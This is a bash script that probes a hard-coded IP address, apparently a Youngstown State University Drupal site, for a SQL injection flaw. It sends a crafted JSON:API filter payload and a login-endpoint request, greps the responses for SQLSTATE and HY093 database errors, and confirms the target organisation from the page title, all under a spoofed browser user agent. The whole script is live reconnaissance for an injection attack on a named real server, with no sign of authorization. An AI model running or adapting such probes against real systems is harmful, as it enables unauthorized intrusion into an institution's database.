#!/bin/bash
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
ip=150.134.10.80
echo "== ysu detect =="
curl -sk -m 25 -A "$UA" -o /tmp/y1.txt -w 'code:%{http_code} size:%{size_download}\n' 'https://150.134.10.80/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][%60]=x'
echo '-- HY093:'; grep -ac 'HY093' /tmp/y1.txt
grep -aoE 'SQLSTATE[^<]{0,100}|HY093|Exception[^<]{0,60}' /tmp/y1.txt | head -3
echo '== try /user/login?_format=json =='
curl -sk -m 15 -A "$UA" -o /tmp/y2.txt -w 'code:%{http_code}\n' 'https://150.134.10.80/user/login?_format=json'
grep -aoE 'HY093|SQLSTATE[^<]{0,80}' /tmp/y2.txt | head -2
echo '== org confirm =='
curl -sk -m 10 -A "$UA" -o /tmp/y3.html 'https://150.134.10.80/'
grep -aoiE '<title[^>]*>[^<]*|Youngstown[^<]{0,40}' /tmp/y3.html | head -2
echo DONE5
